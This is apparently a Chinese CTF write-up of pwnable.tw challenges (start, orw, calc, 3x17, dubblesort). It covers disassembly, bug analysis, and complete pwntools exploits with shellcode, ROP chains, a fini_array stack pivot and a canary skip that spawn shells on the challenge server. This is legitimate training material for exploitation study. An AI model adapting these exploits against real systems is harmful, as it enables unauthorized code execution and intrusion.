Start haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec start [*] '/mnt/d/pwnable_tw/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stripped: No
一道32位题目,什么保护都没开,直觉就是打shellcode。在ida中发现只有start和exit函数,那就看一下汇编有什么东西
.text:08048060 public _start .text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push ':FTC' .text:08048073 push ' eht' .text:08048078 push ' tra' .text:0804807D push 'ts s' .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch ; '<' .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - .text:08048099 add esp, 14h .text:0804809C retn
可以看出先是将几个关键的寄存器置零,输出一段字符串,接着用户输入长度为0x3C的字符串,接着平衡栈,退出程序。攻击流程就简单了,因为没有开启NX保护,我们将返回地址修改为输入shellcode的地址去执行就行了。接下来就是先泄漏地址,找一下偏移
pwndbg> cyclic -l 0x61616166 Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161) Found at offset 20
因为有输入字符串长度的限制,就在网上找一个短的shellcode就行了,有以下几个可供使用:
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 或者自己写一个,32位就是eax为0xb,ebx指向/bin/sh的地址,ecx与edx为0,为了4字节对齐,这里使用//bin/sh,因为shellcode会被\x00截断,就不要出现\x00 shellcode = ''' xor ecx,ecx xor edx,edx push edx ; \x00截断字符串 push 0x68732f6e ; 'n/sh' push 0x69622f2f ; '//bi' mov ebx,esp mov al,0xb int 0x80 '''
exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./start' #libc_file='' #elf=ELF('./start') #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='chall.pwnable.tw' port=10000 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) p0 = b"a"*20 + p32(0x08048087) sa("CTF:",p0) stack = u32(io.recv(4)) leak('stack',stack) shellcode_addr = stack + 20 shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" p1 = b"a"*20 + p32(shellcode_addr) + shellcode s(p1) #连接 #-------------------------------------------------------------------------------- ioi()
orw 32位打orw,直接打就行了,exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./orw' #libc_file='' elf=ELF('./orw') #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='chall.pwnable.tw' port=10001 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) shellcode = orw('/home/orw/flag',elf.bss(0x100),0x100) s(shellcode) #连接 #-------------------------------------------------------------------------------- ioi()
CVE-2018-1160 这是一道CVE复现的题目
calc 这是一道32位的模拟计算器的题目,实现了+、-、*、/、%。整个流程很简单,设置了alarm(60),然后调用calc函数,最后输出一段字符串。
calc函数如下:
unsigned int calc() { _DWORD v1[101]; // [esp+18h] [ebp-5A0h] BYREF _BYTE s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF unsigned int v3; // [esp+5ACh] [ebp-Ch] v3 = __readgsdword(0x14u); while ( 1 ) { bzero(s, 0x400u); if ( !get_expr(s, 1024) ) break; init_pool(v1); if ( parse_expr(s, v1) ) { printf("%d\n", v1[v1[0]]); fflush(stdout); } } return __readgsdword(0x14u) ^ v3; }
先是调用bzero函数先分配一段空间并置空,用于存放用户输入的算术表达式,接着进行表达式的输入(过滤了非法字符),然后又分配了一段空间,用于在后续处理表达式时存放一些数据,最后输出v1[v1[0]]的值,进行下一次循环。
进入parse_expr进一步分析:
int __cdecl parse_expr(_BYTE *p_s, _DWORD *a2) { int v3; // eax _BYTE *p_s_1; // [esp+20h] [ebp-88h] int i; // [esp+24h] [ebp-84h] int v6; // [esp+28h] [ebp-80h] _BYTE *v7; // [esp+2Ch] [ebp-7Ch] char *s1; // [esp+30h] [ebp-78h] int v9; // [esp+34h] [ebp-74h] _BYTE s[100]; // [esp+38h] [ebp-70h] BYREF unsigned int v11; // [esp+9Ch] [ebp-Ch] v11 = __readgsdword(0x14u); p_s_1 = p_s; v6 = 0; bzero(s, 0x64u); for ( i = 0; ; ++i ) { if ( (char)p_s[i] - (unsigned int)'0' > 9 ) { ...... } } while ( v6 >= 0 ) eval(a2, s[v6--]); return 1; }
这里看起来有点复杂,但其实逻辑上很简单,主要是对输入的算术表达式中每一个字符进行分析处理,如果这个字符是运算符,就进入if语句,否则就处理下一个字符,最后再进行一些运算。这里也调用了bzero函数分配了块空间,用于存放运算符。
进入if语句进行分析:
v7 = (_BYTE *)(&p_s[i] - p_s_1); s1 = (char *)malloc(v7 + 1); memcpy(s1, p_s_1, v7); s1[(_DWORD)v7] = 0; if ( !strcmp(s1, "0") ) { puts("prevent division by zero"); fflush(stdout); return 0; }
首先是计算运算符的左侧有多少个字符,并将这些字符组成的字符串存放在一块空间里面,接着判断这段字符串不能是0,否则就退出,当然这里有个小bug,因为0只是不能当除数。
v9 = atoi(s1); if ( v9 > 0 ) { v3 = (*a2)++; a2[v3 + 1] = v9; } if ( p_s[i] && (char)p_s[i + 1] - (unsigned int)'0' > 9 ) { puts("expression error!"); fflush(stdout); return 0; } p_s_1 = &p_s[i + 1];
接着将运算符左边的操作数转换为整形并保存到初始化了的pool中,也就是calc函数中的v1,从代码逻辑上来看,操作数是从v1[1]开始存的,因为(*a2)++是先赋值再自增,那么v1[0]存放的应该就是当前运算数的个数。也就是说每当有操作数存入到v1中,v1[0]的值就会加1,比如如果值为1,那么就会将当前的操作数存入到v1[2]中。接着就是判断一下算术表达式是否正确,避免出现运算符后面跟着运算符的情况。
if ( s[v6] ) { switch ( p_s[i] ) { case '%': case '*': case '/': if ( s[v6] != '+' && s[v6] != '-' ) goto LABEL_14; s[++v6] = p_s[i]; break; case '+': case '-': LABEL_14: eval(a2, s[v6]); s[v6] = p_s[i]; break; default: eval(a2, s[v6--]); break; } } else { s[v6] = p_s[i]; } if ( !p_s[i] ) break;
这段代码是比较关键的,首先会判断s[v6]这个位置是否存放了相应的运算符,因为首先s[]里面是没有任何东西的,因此第一次会直接将第一个运算符放入进去,当我们处理下一个运算符时,s[]里面存放着是前一个运算符,举个例子——1-2+3,当我们处理+时,s[v6]存放着-,并进行if语句里面执行相应的运算,运算结束后接着保存当前处理的运算符并等待着下一次运算。
来看一下eval函数
_DWORD *__cdecl eval(_DWORD *a1, char n47) { _DWORD *result; // eax if ( n47 == '+' ) { a1[*a1 - 1] += a1[*a1]; } else if ( n47 > 43 ) { if ( n47 == 45 ) { a1[*a1 - 1] -= a1[*a1]; } else if ( n47 == 47 ) { a1[*a1 - 1] /= (int)a1[*a1]; } } else if ( n47 == 42 ) { a1[*a1 - 1] *= a1[*a1]; } result = a1; --*a1; return result; } 参数a1就是calc中的v1
可以看到计算结果会保存到第一个数的位置,也相当于v1[v1[0]-1]=v1[1],接着就是不断的重复不断的重复,当函数parse_expr(s, v1)结束后
.text:080493F6 mov eax, [ebp-5A0h] .text:080493FC sub 1 .text:080493FF mov eax, [ebp+eax*4-59Ch] .text:08049406 mov [esp+4], eax .text:0804940A mov dword ptr [esp], offset p__d_n ; "%d\n" .text:08049411 call printf
可以看出ebp-5A0h处是v1[0],那么ebp-59Ch处就是v1[1],最后会输出v1[v1[0]]处的值。ok,关键点就来了,在之前的分析中说到,最后输出的值会存放到v1[1]里面,而这个1是由v1[0]-1得到的,因为我们正常运算的情况下,v1[0]-1就是等于1,但是是不是可以修改v1[0]的值呢,从而达到泄漏栈上某位置的数据呢?那就来看一下v1[0]是从哪一步改变的
v9 = atoi(s1); if ( v9 > 0 ) { v3 = (*a2)++; a2[v3 + 1] = v9; }
v1[0]的初始值为0,如果左操作数存在,那么就将操作数放入v1[v1[0]+1]处,并将v1[0]的值加1,那么问题来了,如果左操作数不存在呢,v1[0]的值在下次处理的时候还是0,当第一次进入eval函数时,就会出现一个运算符和仅有一个操作数的情况,例如+300的情况,此时v1[0]=1、v1[1]=300、s[0]=+,在eval函数中
v1[*v1-1]=v1[*v1-1]+v1[*v1]
就相当于v1[0]=v1[0]+v1[1]=301,最后v1[0]自减得到300,最后输出v1[300],因为v1[0]是ebp-5A0h,就相当于输出ebp-F0h里面的数据
=== Welcome to SECPROG calculator === +300 0
由于每次循环都会进行一次清零,所以是修改不了一定范围内的值,例如
=== Welcome to SECPROG calculator === +300-20 -20 +300 0
所以就找一个范围外的来进行操作,例如
=== Welcome to SECPROG calculator === +400 -2623876 +400-20 -2623896 +400 -2623896
可以看到已经修改完成了,那么接下来就来进行修改返回地址了,在上述分析中v1[0]在ebp-5A0h处,那么返回地址在v1[361]处,我们来进行泄漏
=== Welcome to SECPROG calculator === $ +361 134517913
换成16进制就是0x8049499,这个地址就是
.text:08049499 mov dword ptr [esp], offset aMerryChristmas ; "Merry Christmas!"
ok,那么接下来的攻击思路就清晰了,不断构造畸形的算数表达式修改相应地址的数据,造成栈溢出,获得shell。这时候再回过头来看看这道题有什么保护机制
haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec calc [*] '/mnt/d/pwnable_tw/calc' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ file calc calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
32位静态链接程序,说明给的东西会很多,因此考虑通过ROP链构造execve(“/bin/sh”,0,0)从而获得shell。想达到这种效果,首先得让eax=11,ebx=”/bin/sh”的地址,ecx=0,edx=0,最后int 80h
0x0805c34b : pop eax ; ret 0x080701d1 : pop ecx ; pop ebx ; ret 0x080701aa : pop edx ; ret 0x08049a21: int 0x80;
接下来就是修改v1[361]至v1[370]中的值了,其他几个都好弄,比较麻烦的就/bin/sh字符串的地址,因为是栈上,而且到现在还没有获得到栈基址,看起来就有点难办了?并非,因为在栈里面有一个很关键的一点,当前栈帧存放着调用者的栈帧基址,可以通过当前的ebp来寻找,因此在这道题里面,可以找到main的栈基址,再找到main函数与calc的关系就可以获得calc的栈基址了。
pwndbg> x/8wx $ebp 0xfff5cfb8: 0xfff5cfd8
通过调试可以知道,其相差0x20,因此泄漏的ebp-0x20+4就是ROP链开始的地方,接着再加上相应的偏移就是/bin/sh的地址了。借鉴了一下其他师傅的exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='i386', os='linux') #log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./calc' #libc_file='' #elf=ELF('./start') #libc=ELF(libc_file) #rop=ROP(libc) flag=1 if flag: io=process(pwn_file) else: ip='chall.pwnable.tw' port=10100 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) pop_eax_ret = 0x0805c34b pop_ecx_pop_ebx_ret = 0x080701d1 pop_edx_ret = 0x080701aa int_80 = 0x08049a21 ebp_offest = int(0x5A0/4) rop_addr_offset = ebp_offest+1 io.recv() sl("+"+str(ebp_offest)) saved_ebp = int(io.recvline().strip()) payload = [pop_eax_ret,0xb] payload += [pop_edx_ret,0] payload += [pop_ecx_pop_ebx_ret,0,0] payload += [int_80] bin_sh_addr = saved_ebp - 0x20 + len(payload)*4 + 4 payload[6] = bin_sh_addr payload += [0x6e69622f, 0x0068732f] for i in range(len(payload)): io.sendline("+" + str(rop_addr_offset + i)) val = int(io.recvline().strip()) offset = payload[i] - val if offset < 0: io.sendline("+" + str(rop_addr_offset + i) + str(offset)) else: io.sendline("+" + str(rop_addr_offset + i) + "+" + str(offset)) io.recv() io.sendline() #连接 #-------------------------------------------------------------------------------- ioi()
3x17 haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec 3x17 [*] '/mnt/d/pwnable_tw/3x17' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ file 3x17 3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
一道64位静态链接的题目,尽管check说是没有canary保护,但是放入ida中可以看到还是有canary保护的。这道题去除了符号表,因此先运行一下程序,方便找一下main函数在哪
haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ ./3x17 addr:111 data:111
ok。这样就好找到主函数了
__int64 sub_401B6D() { __int64 result; // rax char *buf_1; // [rsp+8h] [rbp-28h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { sub_446EC0(1u, "addr:", 5u); sub_446E20(0, buf, 0x18u); buf_1 = (char *)(int)sub_40EE70(buf); sub_446EC0(1u, "data:", 5u); sub_446E20(0, buf_1, 0x18u); result = 0; } if ( __readfsqword(0x28u) != v3 ) sub_44A3E0(); return result; }
确实也是有canary保护检测的。这个看起来像是任意地址写。由于sub_40EE70(buf)函数实在是太长了,在这里就不放出来了,让ai分析一下,可以知道大致就是一个atoll的功能,将十进制数转换为8字节地址,接着就是向这个地址输入0x18字节的数据。
现在就是思考在没有给出栈地址和/bin/sh的情况下,如何利用这一次任意地址写。我们知道在程序中main并不是开始,而是
程序启动——__libc_start_main——__libc_csu_init()——调用顺序(_init_array[0..n])——main()——__libc_csu_fini()——调用顺序(_fini_array[n..0])
那么是不是可以修改_fini_array中的函数为我们想要的函数,就能够控制执行流了
.fini_array:00000000004B40F0 ; =========================================================================== .fini_array:00000000004B40F0 .fini_array:00000000004B40F0 ; Segment type: Pure data .fini_array:00000000004B40F0 ; Segment permissions: Read/Write .fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; sub_402960+8↑o .fini_array:00000000004B40F8 dq offset loc_401580 .fini_array:00000000004B40F8 _fini_array ends .fini_array:00000000004B40F8
有两个8字节大小够我们操作,那么一个写入main,一个写入__libc_csu_fini(),从而理论上实现任意地址写。
由于这道题是静态链接且什么都没给的情况下,想法就是构造execve(“/bin/sh”,0,0),而这道题又没给/bin/sh字符串,就得要找到一个地方写入ROP链并且能够执行这段ROP链,这里想到的就是栈迁移。在__libc_csu_fini()汇编里面观察一下,发现会将0x4B40F0赋值给rbp,而这个地址就是fini_array
.text:0000000000402960 ; =============== S U B R O U T I N E ======================================= .text:0000000000402960 .text:0000000000402960 .text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, off_4B40F0 .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j .text:0000000000402996 add rsp, 8 .text:000000000040299A pop rbx .text:000000000040299B pop rbp .text:000000000040299C jmp _term_proc .text:000000000040299C ; } // starts at 402960 .text:000000000040299C sub_402960 endp .text:000000000040299C .text:000000000040299C ; ---------------------------------------------------------------------------
如果在此时直接leave;ret;的话,rsp就会是0x4B4100
.data.rel.ro:00000000004B4100 ; =========================================================================== .data.rel.ro:00000000004B4100 .data.rel.ro:00000000004B4100 ; Segment type: Pure data .data.rel.ro:00000000004B4100 ; Segment permissions: Read/Write .data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64 .data.rel.ro:00000000004B4100 assume cs:_data_rel_ro .data.rel.ro:00000000004B4100 ;org 4B4100h .data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o .data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ...
这是一段rel.ro,也就是说只读,但是呢用readelf -S ./3x17这条命令来看,这段是可写的,那就好了,下面只需要构造好内容再栈迁移就行了。
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./3x17' #libc_file='' #elf=ELF('./start') #libc=ELF(libc_file) #rop=ROP(libc) flag=1 if flag: io=process(pwn_file) else: ip='chall.pwnable.tw' port=10105 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) def dd(addr, data): sa("addr:",str(addr)) sa("data:",data) fini_addr = 0x00000000004B40F0 main_addr = 0x0000000000401B6D libc_csu_fini = 0x0000000000402960 pop_rdi = 0x0000000000401696 pop_rsi = 0x0000000000406c30 pop_rdx = 0x0000000000446e35 pop_rax = 0x000000000041e4af syscall = 0x00000000004022b4 leave_ret = 0x0000000000401c4b dd(fini_addr, p64(libc_csu_fini)+p64(main_addr)) dd(fini_addr+0x10,p64(pop_rdi)+p64(fini_addr+0x58)) dd(fini_addr+0x20,p64(pop_rsi)+p64(0)) dd(fini_addr+0x30,p64(pop_rdx)+p64(0)) dd(fini_addr+0x40,p64(pop_rax)+p64(59)) dd(fini_addr+0x50,p64(syscall)) dd(fini_addr+0x58,b"/bin/sh\x00") dd(fini_addr,p64(leave_ret)) #连接 #-------------------------------------------------------------------------------- ioi()
dubblesort haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec dubblesort [*] '/mnt/d/pwnable_tw/dubblesort' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
看起来保护是全开了的,应该是有点难度,给了我们libc文件,patchelf一下,运行一下这个程序
[+] Opening connection to chall.pwnable.tw on port 10101: Done [*] Switching to interactive mode What your name :$ haoo Hello haoo O\xbc\xff/,How many numbers do you what to sort :$ 4 Enter the 0 number : $ 1 Enter the 1 number : $ 2 Enter the 2 number : $ 3 Enter the 3 number : $ 4 Processing...... Result : 1 2 3 4 [*] Got EOF while reading in interactive $
可以大致知道,这道题先输入名字,再输入数字进行排序。放入ida中进行分析一下
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax unsigned int *v4; // edi unsigned int i; // esi unsigned int j; // esi int result; // eax unsigned int v8; // [esp+18h] [ebp-74h] BYREF unsigned int v9[8]; // [esp+1Ch] [ebp-70h] BYREF _BYTE buf[64]; // [esp+3Ch] [ebp-50h] BYREF unsigned int v11; // [esp+7Ch] [ebp-10h] v11 = __readgsdword(0x14u); sub_8B5(); __printf_chk(1, (int)"What your name :"); read(0, buf, 0x40u); __printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :"); __isoc99_scanf("%u", &v8); v3 = v8; if ( v8 ) { v4 = v9; for ( i = 0; i < v8; ++i ) { __printf_chk(1, (int)"Enter the %d number : "); fflush(stdout); __isoc99_scanf("%u", v4); v3 = v8; ++v4; } } sub_931(v9, v3); puts("Result :"); if ( v8 ) { for ( j = 0; j < v8; ++j ) __printf_chk(1, (int)"%u "); } result = 0; if ( __readgsdword(0x14u) != v11 ) sub_BA0(); return result; }
从运行可以看到,在输出name的同时会输出一些别的东西,那么就说明可以泄漏一些东西,比如libc基址,通过动调后,可以写入下面这个泄漏脚本
sl(b"a"*28) io.recvuntil(b"a"*28) libc_base = u32(io.recv(4))-0x1b000a leak("libc_base", libc_base) [+] Opening connection to chall.pwnable.tw on port 10101: Done [+] libc_base = 0xf75c3000 [*] Switching to interactive mode \x01\xc6_V\xa9\xc7_V\xa0\xdf_V\x01,How many numbers do you what to sort :$
ok,泄楼完成后就能得到很多东西了。现在就有一个问题,就是有了这些东西后,怎么绕过canary保护并覆盖返回地址。那就看一下这段代码
if ( v8 ) { v4 = v9; for ( i = 0; i < v8; ++i ) { __printf_chk(1, (int)"Enter the %d number : "); fflush(stdout); __isoc99_scanf("%u", v4); v3 = v8; ++v4; } }
这里有一点是很重要的就是并不是所有非法输入都会导致scanf卡死,可以通过+、-跳过当前这一轮的输入,因为v4是edi指针,每读到一个数据,这个指针就会下移继续读取下一个,没有检测scanf的返回值,那么就可以通过输入+、-来跳过对canary地址处的数据输入。得再注意一下排序就行了。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='i386', os='linux') #log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./dubblesort' libc_file='./dubblesort_libc.so.6' elf=ELF('./dubblesort') libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='chall.pwnable.tw' port=10101 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) sl(b"a"*28) io.recvuntil(b"a"*28) libc_base = u32(io.recv(4))-0x1b000a leak("libc_base", libc_base) bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) system = libc_base + libc.sym['system'] sl(b"35") for i in range(24): sl("1") sl(b"+") for i in range(9): sl(str(system).encode()) sl(str(bin_sh).encode()) #连接 #-------------------------------------------------------------------------------- ioi()
